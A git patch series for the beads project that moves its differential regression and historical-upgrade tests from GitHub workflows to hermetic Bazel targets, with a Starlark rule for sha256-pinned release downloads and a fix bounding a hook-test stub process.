hardcoded to -// always emit run_regression=false). TestRegressionStepsAfterDetectAreGated -// only pins that steps AFTER detect stay gated on its output; it says nothing -// about whether detect's own logic ever produces "true", so a detect step -// that always reports false would make every downstream gate vacuously -// satisfied while regression silently never ran. This executes the step's -// actual bash against real GITHUB_OUTPUT/GITHUB_EVENT_PATH files and a real -// two-commit git repo for each input that must change the verdict. -func TestRegressionDetectStepBehavioral(t *testing.T) { - requireHostTool(t, "bash") - requireHostTool(t, "jq") - requireHostTool(t, "git") - - job := readCIWorkflow(t, "regression.yml").job(t, "regression") - step := job.step(t, "Decide whether to run differential regression tests") - if step.ID != "detect" { - t.Fatalf("detect step id = %q, want %q", step.ID, "detect") - } - - // newRepo creates a base commit, then (if any changedFiles are given) a - // second commit that adds each of them, and returns the repo dir plus - // both commit SHAs for PR_BASE_SHA/PR_HEAD_SHA. - newRepo := func(t *testing.T, changedFiles ...string) (dir, base, head string) { - t.Helper() - dir = t.TempDir() - git := func(args ...string) string { - t.Helper() - cmd := exec.Command("git", args...) - cmd.Dir = dir - cmd.Env = append(os.Environ(), - "GIT_CONFIG_NOSYSTEM=1", - "GIT_AUTHOR_NAME=t", "GIT_AUTHOR_EMAIL=t@t.test", - "GIT_COMMITTER_NAME=t", "GIT_COMMITTER_EMAIL=t@t.test", - ) - out, err := cmd.CombinedOutput() - if err != nil { - t.Fatalf("git %v: %v\n%s", args, err, out) - } - return strings.TrimSpace(string(out)) - } - git("init", "-q", "-b", "main") - if err := os.WriteFile(filepath.Join(dir, "README.md"), []byte("base\n"), 0o644); err != nil { - t.Fatal(err) - } - git("add", "README.md") - git("commit", "-q", "-m", "base") - base = git("rev-parse", "HEAD") - - for _, f := range changedFiles { - full := filepath.Join(dir, f) - if err := os.MkdirAll(filepath.Dir(full), 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(full, []byte("x\n"), 0o644); err != nil { - t.Fatal(err) - } - git("add", f) - } - if len(changedFiles) > 0 { - git("commit", "-q", "-m", "head") - } - head = git("rev-parse", "HEAD") - return dir, base, head - } - - writeEvent := func(t *testing.T, dir string, labels ...string) string { - t.Helper() - type label struct { - Name string `json:"name"` - } - type prBody struct { - Labels []label `json:"labels"` - } - type event struct { - PullRequest prBody `json:"pull_request"` - } - e := event{PullRequest: prBody{Labels: []label{}}} - for _, l := range labels { - e.PullRequest.Labels = append(e.PullRequest.Labels, label{Name: l}) - } - b, err := json.Marshal(e) - if err != nil { - t.Fatal(err) - } - p := filepath.Join(dir, "event.json") - if err := os.WriteFile(p, b, 0o644); err != nil { - t.Fatal(err) - } - return p - } - - runDetect := func(t *testing.T, dir, eventPath, eventName, base, head string) (runRegression, reason string) { - t.Helper() - outFile := filepath.Join(t.TempDir(), "output") - if err := os.WriteFile(outFile, nil, 0o644); err != nil { - t.Fatal(err) - } - cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", step.Run) - cmd.Dir = dir - cmd.Env = append(os.Environ(), - "EVENT_NAME="+eventName, - "PR_BASE_SHA="+base, - "PR_HEAD_SHA="+head, - "GITHUB_OUTPUT="+outFile, - "GITHUB_EVENT_PATH="+eventPath, - ) - out, err := cmd.CombinedOutput() - if err != nil { - t.Fatalf("detect step: %v\noutput:\n%s", err, out) - } - outBytes, err := os.ReadFile(outFile) - if err != nil { - t.Fatal(err) - } - for _, line := range strings.Split(string(outBytes), "\n") { - if v, ok := strings.CutPrefix(line, "run_regression="); ok { - runRegression = v - } - if v, ok := strings.CutPrefix(line, "reason="); ok { - reason = v - } - } - return runRegression, reason - } - - cases := []struct { - name string - eventName string - labels []string - changedFiles []string - want string - }{ - {"push always runs", "push", nil, nil, "true"}, - {"run-regression label forces true", "pull_request", []string{"run-regression"}, []string{"docs/unrelated.md"}, "true"}, - {"skip-regression label forces false", "pull_request", []string{"skip-regression"}, []string{"cmd/bd/x.go"}, "false"}, - {"cmd/bd non-test change runs", "pull_request", nil, []string{"cmd/bd/x.go"}, "true"}, - {"only a cmd/bd test file changed skips", "pull_request", nil, []string{"cmd/bd/x_test.go"}, "false"}, - {"docs-only change skips", "pull_request", nil, []string{"docs/a.md"}, "false"}, - } - for _, c := range cases { - t.Run(c.name, func(t *testing.T) { - dir, base, head := newRepo(t, c.changedFiles...) - eventPath := writeEvent(t, dir, c.labels...) - got, reason := runDetect(t, dir, eventPath, c.eventName, base, head) - if got != c.want { - t.Errorf("run_regression = %q (reason %q), want %q", got, reason, c.want) - } - }) - } -} - // --- General sweep: no Blacksmith-reachable advisory job may save a cache -- // generalCacheSweepWorkflows is every F7c advisory workflow plus main.yml diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 59bca0ca0..e2956ca4a 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -126,7 +126,7 @@ func TestPullRequestWorkflowsTriggerOnHotfixBranches(t *testing.T) { } root := sourceRepoRoot(t) for _, name := range []string{ - "pr.yml", prRiskWorkflowName, "cross-version-smoke.yml", "regression.yml", + "pr.yml", prRiskWorkflowName, "cross-version-smoke.yml", } { t.Run(name, func(t *testing.T) { var doc triggers @@ -1133,7 +1133,7 @@ func TestMacOSTestJobsReuseWorkspaceBDBinary(t *testing.T) { // internal/testutil gates on `docker image inspect` and never auto-pulls. The // other jobs that do pull it are pr.yml/contract-corpus, // pr-risk.yml/test-proxied-cmd, -// pr-risk.yml/test-server-storage and -full, regression.yml/regression, and +// pr-risk.yml/test-server-storage and -full, and // bazel.yml's --config=docker lane. They are out of scope for this change, not // immune: no reap has been attributed to them, and the docker lane would // additionally need --test_env=TESTCONTAINERS_RYUK_DISABLED=true because bazel @@ -2709,7 +2709,7 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7c: used to define its own sameRepoBlacksmith4vcpu here (same expression // as sameRepoBlacksmith2vcpu with the 4 vCPU label, for advisory jobs that -// compile Go: regression.yml, migration-test.yml, +// compile Go: migration-test.yml, // cross-version-smoke.yml). F7a independently // defined the same const; both are now served by the single shared // sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. migration-test.yml's @@ -3051,7 +3051,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // is cheap enough to size at 2 vCPU per spec-f7.md §2.2) and moves // to Blacksmith for same-repo PRs/merge_group only; forks, // Dependabot and push stay on ubuntu-latest. - "regression.yml": {"regression": sameRepoBlacksmith4vcpu}, "migration-test.yml": {"historical-upgrades": sameRepoBlacksmith4vcpuNoble}, "cross-version-smoke.yml": {"smoke": sameRepoBlacksmith4vcpu, "versions": sameRepoBlacksmith2vcpu}, "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, @@ -3118,7 +3117,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // Blacksmith label beyond the jobs listed in `want` above. for _, file := range []string{ "pr.yml", "pr-risk.yml", "main.yml", - "regression.yml", "migration-test.yml", + "migration-test.yml", "cross-version-smoke.yml", "docs-mintlify.yml", } { workflow := readCIWorkflow(t, file) diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index 47a5b8269..477d68f44 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -54,9 +54,8 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { wantCalls := map[string]int{ - "pr.yml": 2, // test-domain-uow, contract-corpus - "pr-risk.yml": 3, - "regression.yml": 1, + "pr.yml": 2, // test-domain-uow, contract-corpus + "pr-risk.yml": 3, } workflowsDir := filepath.Join(sourceRepoRoot(t), ".github", "workflows") diff --git a/tests/regression/BUILD.bazel b/tests/regression/BUILD.bazel new file mode 100644 index 000000000..ee7410d1a --- /dev/null +++ b/tests/regression/BUILD.bazel @@ -0,0 +1,71 @@ +load("@rules_go//go:def.bzl", "go_test") +load("//tools/bazel:bd_releases.bzl", "LINUX_AMD64") + +# The differential regression suite (formerly regression.yml, which ran +# ./tests/regression with the regression build tag): every scenario runs against the +# catalog-pinned baseline release and against the candidate, and their +# normalized state is diffed. The baseline label must name the release in +# BASELINE_VERSION (TestMain checks the binary's own version against it). The +# candidate is the non-race bd_for_tests, built like the job's +# `go build -tags gms_pure_go ./cmd/bd`. Both bd's talk to a hermetic dolt +# sql-server TestMain starts from the pinned dolt (BEADS_TEST_DOLT_SERVER=local) +# where the job pulled the dolt-sql-server image; a server that cannot start +# fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1). The Go binary shards +# itself over the top-level tests, so each runs in exactly one shard. +# +# Tags: +# dolt-server-cmd: starts a hermetic dolt sql-server and needs the +# integration build tag; selected by --config=doltserver-cmd (bazel.yml's +# bazel-cmd-dolt lane) and excluded from every other lane, whose +# configurations either drop both test files or set BEADS_TEST_SKIP=dolt. +go_test( + name = "regression_test", + size = "large", + # --config=doltserver-cmd's -test.timeout=19m fires (with a goroutine + # dump) before Bazel's 1200s action limit. + timeout = "eternal", + srcs = [ + "regression_test.go", + "scenarios_test.go", + ], + data = [ + "BASELINE_VERSION", + "//cmd/bd:bd_for_tests", + "@bd_releases//:v0.49.6", + ], + env = { + "BD_REGRESSION_BASELINE_BIN": "$(rlocationpath @bd_releases//:v0.49.6)", + "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, + shard_count = 8, + tags = ["dolt-server-cmd"], + target_compatible_with = LINUX_AMD64, + deps = [ + "//internal/testutil", + "//internal/testutil/bazeltest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tests/regression/regression_tag_test.go b/tests/regression/regression_tag_test.go new file mode 100644 index 000000000..9e37a6454 --- /dev/null +++ b/tests/regression/regression_tag_test.go @@ -0,0 +1,8 @@ +//go:build regression + +package regression + +// Only -tags=regression compiles this file: it marks the build as an explicit +// request for the suite (see testMainInner). Gazelle never adds it to the +// Bazel target, which runs the suite because it runs under Bazel. +func init() { builtWithRegressionTag = true } diff --git a/tests/regression/regression_test.go b/tests/regression/regression_test.go index aef46f04a..08500bf67 100644 --- a/tests/regression/regression_test.go +++ b/tests/regression/regression_test.go @@ -1,4 +1,4 @@ -//go:build regression +//go:build regression || integration // Package regression implements differential testing between a pinned baseline // bd binary (v0.49.6) and the current worktree build. Each test scenario runs @@ -8,6 +8,15 @@ // // Run: go test -tags=regression -timeout=10m ./tests/regression/... // Or: make test-regression +// CI: bazel test //tests/regression:regression_test --config=doltserver-cmd +// +// Under Bazel the files build under the integration tag (gazelle generates +// the target from them) and both binaries are declared inputs: the candidate +// is //cmd/bd:bd_for_tests (BEADS_TEST_BD_BINARY) and the baseline is the +// catalog-pinned release @bd_releases//: +// (BD_REGRESSION_BASELINE_BIN), so the suite needs no Go toolchain and no +// network. A plain `go test -tags=integration ./...` compiles the files too +// but skips the suite: only -tags=regression (or Bazel) runs it. package regression import ( @@ -31,8 +40,13 @@ import ( "time" "github.com/steveyegge/beads/internal/testutil" + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) +// builtWithRegressionTag is set by regression_tag_test.go, which only +// -tags=regression compiles. +var builtWithRegressionTag bool + // baselineBin is the path to the pinned baseline bd binary. var baselineBin string @@ -54,6 +68,10 @@ func testMainInner(m *testing.M) int { fmt.Fprintln(os.Stderr, "regression tests not yet supported on Windows (zip extraction needed)") return 0 } + if !builtWithRegressionTag && !bazeltest.IsBazel() { + fmt.Fprintln(os.Stderr, "SKIP: differential regression suite runs only with -tags=regression or under Bazel") + return 0 + } // Start an isolated Dolt server so regression tests don't pollute // the production database on port 3307. @@ -84,14 +102,23 @@ func testMainInner(m *testing.M) int { return 1 } - // Build candidate from current worktree - candidateBin = filepath.Join(tmpDir, "bd-candidate") - fmt.Fprintln(os.Stderr, "Building candidate binary...") - if err := buildCandidate(candidateBin); err != nil { - fmt.Fprintf(os.Stderr, "building candidate: %v\n", err) + // Candidate: the prebuilt bd (required under Bazel), else a build of the + // current worktree. + candidateBin, err = bazeltest.PrebuiltBD() + if err != nil { + fmt.Fprintf(os.Stderr, "candidate binary: %v\n", err) os.RemoveAll(tmpDir) return 1 } + if candidateBin == "" { + candidateBin = filepath.Join(tmpDir, "bd-candidate") + fmt.Fprintln(os.Stderr, "Building candidate binary...") + if err := buildCandidate(candidateBin); err != nil { + fmt.Fprintf(os.Stderr, "building candidate: %v\n", err) + os.RemoveAll(tmpDir) + return 1 + } + } // Get baseline (env override > cache > download) fmt.Fprintln(os.Stderr, "Getting baseline binary...") @@ -163,20 +190,25 @@ func icuPrefixPath() string { return strings.TrimSpace(string(out)) } +// baselineBinEnv overrides the baseline binary. Under Bazel it is required +// and holds the rlocationpath of the pinned release. +const baselineBinEnv = "BD_REGRESSION_BASELINE_BIN" + func getBaseline() (string, error) { - if bin := os.Getenv("BD_REGRESSION_BASELINE_BIN"); bin != "" { + if bazeltest.IsBazel() { + return pinnedBaseline() + } + if bin := os.Getenv(baselineBinEnv); bin != "" { if _, err := os.Stat(bin); err != nil { - return "", fmt.Errorf("BD_REGRESSION_BASELINE_BIN=%q: %w", bin, err) + return "", fmt.Errorf("%s=%q: %w", baselineBinEnv, bin, err) } return bin, nil } - versionFile := filepath.Join(findModuleRoot(), "tests", "regression", "BASELINE_VERSION") - data, err := os.ReadFile(versionFile) + version, err := baselineVersion(findModuleRoot()) if err != nil { - return "", fmt.Errorf("reading BASELINE_VERSION: %w", err) + return "", err } - version := strings.TrimSpace(string(data)) cacheDir, err := os.UserCacheDir() if err != nil { @@ -205,6 +237,41 @@ func getBaseline() (string, error) { return cachedBin, nil } +// baselineVersion reads tests/regression/BASELINE_VERSION under root. +func baselineVersion(root string) (string, error) { + data, err := os.ReadFile(filepath.Join(root, "tests", "regression", "BASELINE_VERSION")) + if err != nil { + return "", fmt.Errorf("reading BASELINE_VERSION: %w", err) + } + return strings.TrimSpace(string(data)), nil +} + +// pinnedBaseline resolves the Bazel-declared baseline release and checks that +// it is the release BASELINE_VERSION names, so the BUILD label and the file +// cannot drift apart. +func pinnedBaseline() (string, error) { + bin, err := bazeltest.RunfileEnv(baselineBinEnv) + if err != nil { + return "", err + } + root := bazeltest.OverrideRoot() + if root == "" { + return "", fmt.Errorf("no repository root in the runfiles for BASELINE_VERSION") + } + version, err := baselineVersion(root) + if err != nil { + return "", err + } + out, err := exec.Command(bin, "version").CombinedOutput() + if err != nil { + return "", fmt.Errorf("%s version: %w\n%s", bin, err, out) + } + if bare := strings.TrimPrefix(version, "v"); !strings.Contains(" "+string(out)+" ", " "+bare+" ") { + return "", fmt.Errorf("baseline %s reports %q, want BASELINE_VERSION %s", bin, strings.TrimSpace(string(out)), version) + } + return bin, nil +} + func downloadAndExtract(url, destPath string) error { resp, err := http.Get(url) //nolint:gosec // URL constructed from trusted constants if err != nil { diff --git a/tests/regression/scenarios_test.go b/tests/regression/scenarios_test.go index 278a82276..bed18b84b 100644 --- a/tests/regression/scenarios_test.go +++ b/tests/regression/scenarios_test.go @@ -1,4 +1,4 @@ -//go:build regression +//go:build regression || integration package regression diff --git a/tools/bazel/bd_releases.bzl b/tools/bazel/bd_releases.bzl new file mode 100644 index 000000000..2e52fc58a --- /dev/null +++ b/tools/bazel/bd_releases.bzl @@ -0,0 +1,141 @@ +"""Historical bd release binaries for Bazel tests, pinned by the release catalog. + +scripts/migration-test/release-catalog.json is the reviewed universe of +historical releases. Every version in it whose GitHub release records a +linux_amd64 asset (github_release.linux_amd64_asset: name and sha256 digest) +becomes one repository, bd_release_, holding that release's `bd`. +Nothing is downloaded until a test declares the binary as data, and the +download is verified against the catalog's digest, so tests that run historical +releases need no network and no checksum code of their own. + +Tests use the hub repository, @bd_releases: + + data = ["@bd_releases//:v0.49.6"], + env = {"BD": "$(rlocationpath @bd_releases//:v0.49.6)"}, + +and @bd_releases//:versions.bzl lists every pinned version (VERSIONS), so a +BUILD file can generate one target per release. + +Adding a release is a catalog change (regenerate it with +scripts/migration-test/catalog); this file and MODULE.bazel stay as they are. + +The catalog pins linux/amd64 assets only: a test that runs one sets +target_compatible_with = LINUX_AMD64 (from this file), so `bazel build //...` +skips it on other hosts. +""" + +_RELEASE_URL = "https://github.com/gastownhall/beads/releases/download/{version}/{asset}" + +_RELEASE_BUILD = """\ +package(default_visibility = ["//visibility:public"]) + +exports_files(["bd"]) +""" + +# target_compatible_with for a test that runs a pinned release. +LINUX_AMD64 = [ + "@platforms//os:linux", + "@platforms//cpu:x86_64", +] + +def _bd_release_impl(rctx): + rctx.download_and_extract( + url = rctx.attr.url, + sha256 = rctx.attr.sha256, + # Ties the repository-cache entry to this URL (and so this version). + canonical_id = rctx.attr.url, + ) + if not rctx.path("bd").exists: + fail("release asset {} holds no top-level bd binary".format(rctx.attr.url)) + rctx.file("BUILD.bazel", _RELEASE_BUILD) + +bd_release = repository_rule( + implementation = _bd_release_impl, + attrs = { + "sha256": attr.string(mandatory = True, doc = "sha256 of the release archive."), + "url": attr.string(mandatory = True, doc = "Release archive URL."), + }, + doc = "Downloads one historical bd release archive and exports its `bd` binary.", +) + +def _repo_name(version): + return "bd_release_" + version.replace(".", "_").replace("-", "_") + +def _hub_impl(rctx): + lines = [ + "# Generated by tools/bazel/bd_releases.bzl from the release catalog.", + "package(default_visibility = [\"//visibility:public\"])", + "", + "exports_files([\"versions.bzl\"])", + "", + ] + for version in rctx.attr.versions: + lines.append("""alias( + name = "{version}", + actual = "@{repo}//:bd", +) +""".format(version = version, repo = _repo_name(version))) + rctx.file("BUILD.bazel", "\n".join(lines)) + rctx.file("versions.bzl", "\n".join([ + "\"\"\"Every historical bd release @bd_releases pins (from the release catalog), oldest first.\"\"\"", + "", + "VERSIONS = [", + ] + [" \"{}\",".format(v) for v in rctx.attr.versions] + ["]", ""])) + +_bd_releases_hub = repository_rule( + implementation = _hub_impl, + attrs = { + "versions": attr.string_list(mandatory = True), + }, + doc = "Hub repository: one alias per pinned release, plus versions.bzl.", +) + +def catalog_releases(catalog): + """Returns [(version, asset name, sha256)] for every catalog release with a linux_amd64 asset. + + Args: + catalog: the decoded release-catalog.json. + + Returns: + A list of (version, asset, sha256) tuples in catalog order. + """ + releases = [] + for entry in catalog["versions"]: + asset = entry.get("github_release", {}).get("linux_amd64_asset") + if asset == None: + continue + digest = asset["digest"] + if not digest.startswith("sha256:"): + fail("release {}: asset digest {} is not sha256".format(entry["version"], digest)) + releases.append((entry["version"], asset["name"], digest[len("sha256:"):])) + return releases + +def _bd_releases_impl(mctx): + catalogs = [tag.path for mod in mctx.modules if mod.is_root for tag in mod.tags.catalog] + if len(catalogs) != 1: + fail("bd_releases needs exactly one catalog tag in the root module, got {}".format(len(catalogs))) + catalog = json.decode(mctx.read(catalogs[0])) + versions = [] + for version, asset, sha256 in catalog_releases(catalog): + bd_release( + name = _repo_name(version), + url = _RELEASE_URL.format(version = version, asset = asset), + sha256 = sha256, + ) + versions.append(version) + _bd_releases_hub(name = "bd_releases", versions = versions) + return mctx.extension_metadata( + root_module_direct_deps = ["bd_releases"], + root_module_direct_dev_deps = [], + reproducible = True, + ) + +bd_releases = module_extension( + implementation = _bd_releases_impl, + tag_classes = { + "catalog": tag_class(attrs = { + "path": attr.label(mandatory = True, doc = "The release catalog JSON."), + }), + }, + doc = "Declares one repository per historical bd release in the release catalog, and the @bd_releases hub.", +) From f6d9245624e83bcb9184f9af12bc4aea691a0dc7 Mon Sep 17 00:00:00 2001 From: Bee Date: Wed, 7 Oct 2026 01:52:04 +0000 Subject: [PATCH 139/325] test(hooks): bound the long-running bd stub so a killed run cannot leak a spinner (wy-nzeocg) (#6612) The real-GNU-timeout and real-Perl-alarm expiry subtests stand in a bd that never returns with a bare `while :; do :; done`. On a normal run the helper reaps it at 1s. When the go test process is killed mid-subtest, though, the helper has already setpgid()d itself and the stub out of the harness's group, the tree-kill reaches the helper by pid before its child, and the orphan is reparented to 1 and spins at 100% CPU forever: one such stub was found 2.5h old on a shared build box after a session teardown. The stub now paces itself with sleep and exits 97 on its own after 60 ticks, so a killed run leaks at most a minute of idle sleep. The generated hook runs under a controlled PATH that carries only the fixtures and the helper under test, so the test resolves sleep once (findHookProcessSleep, the same shape as the Perl probe) and hands it to the stub as HOOK_TEST_SLEEP by absolute path. The sleep's stdio is detached because Perl's alarm signals only the exec'd stub, not a group, and the orphaned sleep must not hold the test's output pipe open past exec.Cmd.WaitDelay. Exit 97 is outside every status the hook normalizes, so a stub that outlives the helper still fails the expiry assertions loudly. Tests: go test ./cmd/bd -run TestGeneratedHookTimeoutProcessBoundary -count=1 (twice, darwin/arm64, bash 5 + coreutils gtimeout + perl); go vet ./cmd/bd. Co-authored-by: Claude Fable 5.1 --- cmd/bd/hooks_timeout_process_test.go | 61 ++++++++++++++++++++++++---- 1 file changed, 53 insertions(+), 8 deletions(-) diff --git a/cmd/bd/hooks_timeout_process_test.go b/cmd/bd/hooks_timeout_process_test.go index 741a8fe0c..a226b2ea9 100644 --- a/cmd/bd/hooks_timeout_process_test.go +++ b/cmd/bd/hooks_timeout_process_test.go @@ -24,9 +24,24 @@ done exit "${HOOK_TEST_BD_EXIT:-0}" ` +// hookProcessLongRunningBDStub stands in for a bd that never returns, so the +// expiry subtests can prove the timeout helper reaps it. It sleeps instead of +// busy-looping and bounds itself: when a test run is killed before the helper +// fires (the harness reaches the helper by pid before its child), the orphan +// idles for at most a minute and exits on its own instead of spinning at 100% +// CPU forever with ppid 1. Exit 97 is outside every code the hook normalizes, +// so a run that outlives the helper still fails the test. The sleep runs with +// its stdio detached: when the helper signals only the stub (Perl's alarm hits +// the exec'd process, not a group), the orphaned sleep must not keep the test's +// output pipe open past exec.Cmd.WaitDelay. const hookProcessLongRunningBDStub = `#!/bin/sh printf 'long-running-bd-started\n' -while :; do :; done +_bd_test_tick=0 +while [ "$_bd_test_tick" -lt 60 ]; do + "${HOOK_TEST_SLEEP:?}" 1 /dev/null 2>&1 + _bd_test_tick=$((_bd_test_tick + 1)) +done +exit 97 ` const hookProcessGNUTimeoutStub = `#!/bin/sh @@ -113,6 +128,7 @@ type hookProcessCase struct { usePOSIXSh bool timeout *string pathTail string + sleepPath string args []string } @@ -343,9 +359,10 @@ func testHookProcessRealTimeoutExpiry(t *testing.T) { helperName, helperDir := findHookProcessCoreutilsTimeout(t) timeout := "1" result := runGeneratedHookProcess(t, hookProcessCase{ - bdBody: hookProcessLongRunningBDStub, - timeout: &timeout, - pathTail: helperDir, + bdBody: hookProcessLongRunningBDStub, + timeout: &timeout, + pathTail: helperDir, + sleepPath: findHookProcessSleep(t), }) if result.exitCode != 0 { t.Fatalf("generated hook exit = %d, want normalized timeout success\n%s", result.exitCode, result.output) @@ -370,9 +387,10 @@ func testHookProcessRealPerlExpiry(t *testing.T) { {name: "timeout", body: hookProcessIncompatibleTimeoutStub}, {name: "gtimeout", body: hookProcessIncompatibleGtimeoutStub}, }, - bdBody: hookProcessLongRunningBDStub, - timeout: &timeout, - pathTail: perlDir, + bdBody: hookProcessLongRunningBDStub, + timeout: &timeout, + pathTail: perlDir, + sleepPath: findHookProcessSleep(t), }) if result.exitCode != 0 { t.Fatalf("generated hook exit = %d, want normalized Perl alarm success\n%s", result.exitCode, result.output) @@ -514,6 +532,9 @@ shift if tc.timeout != nil { cmd.Env = append(cmd.Env, "BEADS_HOOK_TIMEOUT="+*tc.timeout) } + if tc.sleepPath != "" { + cmd.Env = append(cmd.Env, "HOOK_TEST_SLEEP="+tc.sleepPath) + } started := time.Now() output, err := cmd.CombinedOutput() elapsed := time.Since(started) @@ -585,6 +606,30 @@ printf '%s\n' "${_bd_test_path%/*}" return dir } +// findHookProcessSleep resolves the sleep the long-running bd stub paces itself +// with. The generated hook runs under a controlled PATH that carries only the +// fixtures and the helper under test, so the stub is handed sleep by absolute +// path (in the shell's own spelling, which on Git Bash is the MSYS form). +func findHookProcessSleep(t *testing.T) string { + t.Helper() + probe := ` +_bd_test_path=$(command -v sleep) || exit 1 +"$_bd_test_path" 0 || exit 1 +printf '%s\n' "$_bd_test_path" +` + cmd := exec.Command(hookProcessShell(t), "--noprofile", "--norc", "-c", probe) + cmd.Env = hookProcessEnv() + output, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("sleep is required to pace the long-running bd stub: %s", strings.TrimSpace(string(output))) + } + path := strings.TrimSpace(string(output)) + if path == "" { + t.Fatalf("unexpected sleep probe output: %q", string(output)) + } + return path +} + func writeHookProcessFixture(t *testing.T, dir, name, body string) { t.Helper() path := filepath.Join(dir, name) @@ -686,7 +731,7 @@ func hookProcessEnv() []string { } upper := strings.ToUpper(key) if upper == "BASH_ENV" || upper == "BASHOPTS" || upper == "ENV" || upper == "SHELLOPTS" || - upper == "BEADS_HOOK_TIMEOUT" || upper == "HOOK_TEST_BD_EXIT" { + upper == "BEADS_HOOK_TIMEOUT" || upper == "HOOK_TEST_BD_EXIT" || upper == "HOOK_TEST_SLEEP" { continue } env = append(env, entry) From 7e0adfd35385158fd1f15c7d1a8fe0e610e042d6 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 02:16:11 +0000 Subject: [PATCH 140/325] ci(bazel): run the historical-upgrade corpus under Bazel; retire migration-test.yml (#7330) * chore(migration-test): extend the release catalog through v1.3.1 The catalog stopped at v1.1.2 (the v1.2 upgrade census). The migration corpus already upgrades from v1.2.2, and the Bazel targets that replace migration-test.yml and cross-version-smoke.yml take their pinned release binaries from the catalog (@bd_releases), so it has to cover the releases since. Regenerated with `catalog generate` after raising maximumVersion to v1.3.1: five new stable versions (v1.2.0, v1.2.1, v1.2.2, v1.3.0, v1.3.1; three with a linux/amd64 asset) and five new proxy prereleases; no existing entry, drift record or repository-only exclusion changed. The count constants and the identity digest are updated to match, and the README now says how to add a release. Refs: ga-96smfk.19 Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run the historical-upgrade corpus under Bazel; retire migration-test.yml migration-test.yml ran scripts/migration-test/run.sh --version for 14 reviewed releases in 3 shards on GitHub runners: it downloaded each release archive, built v0.9.1 from source with Go 1.25 through the module proxy, installed libicu74 and the dolt 2.1.8 runtime, all over the network. //tests/migration now has one target per corpus release (historical_upgrade__test) plus legacy_bridge_test, all hermetic: - Published releases come from @bd_releases (the release catalog's sha256-verified assets) through a per-target directory (HISTORICAL_RELEASE_DIR); lib/binary.sh uses it instead of downloading and still checks each binary's self-reported version. - v0.9.1 is //tests/migration:bd_source_tag, the same `go mod download` + `go build -trimpath` with CGO and Go 1.25.0, run offline as a build action: the module files come from tests/migration/source_tag_modules.json through a file:// GOPROXY tree (tools/bazel/go_module_proxy.bzl), the release's own zip is the catalog's source_zip, and go checks every dependency against the release's go.sum (SOURCE_TAG_SQLITE_BIN). - The external Dolt runtime is @dolt_test_runtime_linux_amd64 (dolt.bzl's dolt_release gains a version attribute; 2.1.8 is pinned to versions.sh's digest), passed as DOLT_BIN to the server-Dolt and wisp-plane releases. - The workers already provide jq, python3, sqlite3 and libicu74. The targets are untagged, so bazel-test runs them remotely on every PR, merge group and push; result caching replaces the path filter. Every release also passed inside a loopback-only network namespace. scripts/migration_corpus_bazel_test.go keeps the BUILD lists equal to versions.sh's corpus, the catalog digests equal to STRICT_RELEASE_SHA256, the source-tag lock equal to the catalog's source_zip, and the Dolt runtime pin equal to versions.sh's. migration-test.yml and the policy tests that pinned its shards, caches, apt step and runner are removed. Refs: ga-96smfk.19 Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run the historical-upgrade targets in the PR-core lane only The integration lane runs every untagged target too, and its check_testcases.py requires Go testcases, which a shell test's test.xml does not list. A new pr-core-only tag keeps //tests/migration out of --config=integration (bazelIntegrationExcludedTags adds it), so the corpus runs once, in bazel-test, against the release-shaped bd_for_tests (no integration tag). build_source_tag.sh carries the build-tags opt-out: it builds a historical release with that release's own go.mod, which predates gms_pure_go. Refs: ga-96smfk.19 Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 4 +- .github/workflows/main.yml | 4 +- .github/workflows/migration-test.yml | 267 ------------- BUILD.bazel | 1 + MODULE.bazel | 39 ++ cmd/bd/BUILD.bazel | 1 + engdocs/CI_TEST_SURFACE_AUDIT.md | 2 +- engdocs/ICU-POLICY.md | 2 +- scripts/BUILD.bazel | 15 + scripts/bazel_policy_test.go | 14 +- scripts/ci_f7c_advisory_test.go | 400 +------------------- scripts/ci_workflow_apt_get_timeout_test.go | 11 - scripts/ci_workflow_test.go | 29 +- scripts/migration-test/catalog/README.md | 18 +- scripts/migration-test/catalog/main.go | 13 +- scripts/migration-test/catalog/main_test.go | 6 +- scripts/migration-test/lib/binary.sh | 26 ++ scripts/migration-test/lib/versions.sh | 4 +- scripts/migration-test/release-catalog.json | 99 ++++- scripts/migration_corpus_bazel_test.go | 187 +++++++++ tests/migration/BUILD.bazel | 131 +++++++ tests/migration/build_source_tag.sh | 38 ++ tests/migration/defs.bzl | 52 +++ tests/migration/gen_source_tag_lock.py | 87 +++++ tests/migration/historical_upgrade_test.sh | 29 ++ tests/migration/legacy_bridge_test.sh | 7 + tests/migration/source_tag_modules.json | 166 ++++++++ tools/bazel/dolt.bzl | 20 +- tools/bazel/go_module_proxy.bzl | 55 +++ 29 files changed, 1012 insertions(+), 715 